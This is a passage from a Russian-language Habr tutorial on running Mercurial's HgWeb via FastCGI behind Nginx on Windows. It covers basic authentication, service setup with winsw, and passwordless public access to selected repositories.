но у меня это не сработало :( Судя по коду HgWeb, имя пользователя берется из ENV('REMOTE\_USER'), но вот как его туда поместить — загадка.
Если сложная авторизация не требуется, можно настроить её непосредственно в конфигурации Nginx либо создать 2 (или более) экземпляров **hg serve**, использующих различные файлы `hgweb.conf`. Недостаток в гибкости последнего метода в том, что настройки `hgweb.conf` глобальны и касаются всех (перечисленных в нем) репозиториев. Впрочем, комбинируя эти два метода можно добиться практически любых схем авторизации. В конце статьи я ещё коснусь этой темы.
### HgWeb.cgi
Описанные выше манипуляции попахивают извращением, поэтому я решил попробовать официальный Python-скрипт HgWeb. В бинарном дистрибутиве Mercurial его нет, поэтому нужно скачать дистрибутив исходников и взять оттуда. Там, кроме основной (CGI) версии, имеются также более эффективные — WSGI и FCGI.
Поскольку Nginx не умеет запускать CGI, а для WSGI нужен WSGI-сервер (поставить который на Windows отдельная проблема), я решил использовать FCGI — то есть FastCGI. Для его запуска нужен Python, причём документация гласит, что Python должен быть такой же версии, какая используется в бинарном дистрибутиве Mercurial — то есть 2.7. Окей, установил 2.7. Для запуска HgWeb в Python также необходимо установить библиотеку Flup, причём не просто установить, а определённой версии (ибо последняя не поддерживает Python 2.7). Вот так работает:
```
pip install flup==1.0.3.dev-20110405
```
Теперь нужно отредактировать сам hgweb.fcgi — прописать путь к файлу конфигурации (что очевидно) а также указать параметры запуска, как минимум обязательный параметр используемого локального адреса (что совершенно неочевидно):
```
WSGIServer(application, bindAddress=("127.0.0.1",5500)).run()
```
Осталось добавить конфигурацию Nginx:
```
location / {
auth_basic "My Repos";
auth_basic_user_file passwd; # файл с паролями
include fastcgi.conf;
fastcgi_split_path_info ^()(.*)$;
fastcgi_param SCRIPT_NAME "";
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_param AUTH_USER $remote_user;
fastcgi_param REMOTE_USER $remote_user;
fastcgi_pass 127.0.0.1:5500;
}
location /static/ {
root e:/Mercurial/templates;
}
```
Я специально не редактировал файл `fastcgi.conf`, а вынес все дополнительные настройки fastcgi в секцию `location` для наглядности. Обратите внимание на параметр `PATH_INFO` — он важен для работы скрипта. В моём случае имя скрипта в url вообще отсутствует, а весь оставшийся путь идёт в PATH\_INFO.
Теперь запускаем сам скрипт:
```
python hgweb.fcgi
```
и всё работает!
#### Еще немножко настроек
Как и в случае с **hg serve**, разумно сделать запуск HgWeb в виде сервиса. Для этого использую всё тот же winsw. Он выполняет такой bat-файл:
```
@echo off
if "%1"=="start" (goto :start)
:stop
taskkill /F /IM python-hg.exe /T
goto :end
:start
"c:\Python27\python-hg.exe" e:\Mercurial-5.3\hgweb.fcgi
:end
```
Обратите внимание, что я скопировал `python.exe` в `python-hg.exe` чтобы `taskkill` легко нашел единственный нужный процесс для остановки.
Не стоит забывать и о безопасности: выполнять сервисы для публичного доступа под юзером "Local System" — плохая идея! Нужно создать отдельного юзера, дать ему доступ только к нужным папкам и запускать сервис под ним.
#### Публичный доступ к репозиториям
Чтобы организовать публичный беспарольный доступ к некоторым репозиториям, документация рекомендует запускать два экземпляра HgWeb (или hg serve) с разными конфигурациями. Но можно сделать проще: для каждого репозитория, к которому нужен публичный доступ, добавить в конфигурацию Nginx отдельную секцию `location` **без** защиты паролем. Примерно так:
```
location /Base/ { # Base - имя репозитория, к которому нужен публичный доступ
include fastcgi.conf;
fastcgi_split_path_info ^()(.*)$;
fastcgi_param SCRIPT_NAME "";
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_param AUTH_USER "pub"; # любое подходящее имя пользователя для hg (можно пустое)
fastcgi_param REMOTE_USER "pub";
fastcgi_pass 127.0.0.1:5500;
}
```
Все — репозиторий `Base` доступен без пароля.
Надеюсь, эта статья поможет вам сэкономить время. Лично у меня на всё это ушло примерно полтора дня (с учётом того, что Python я увидел, можно сказать, впервые в жизни :-) | https://habr.com/ru/post/487792/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.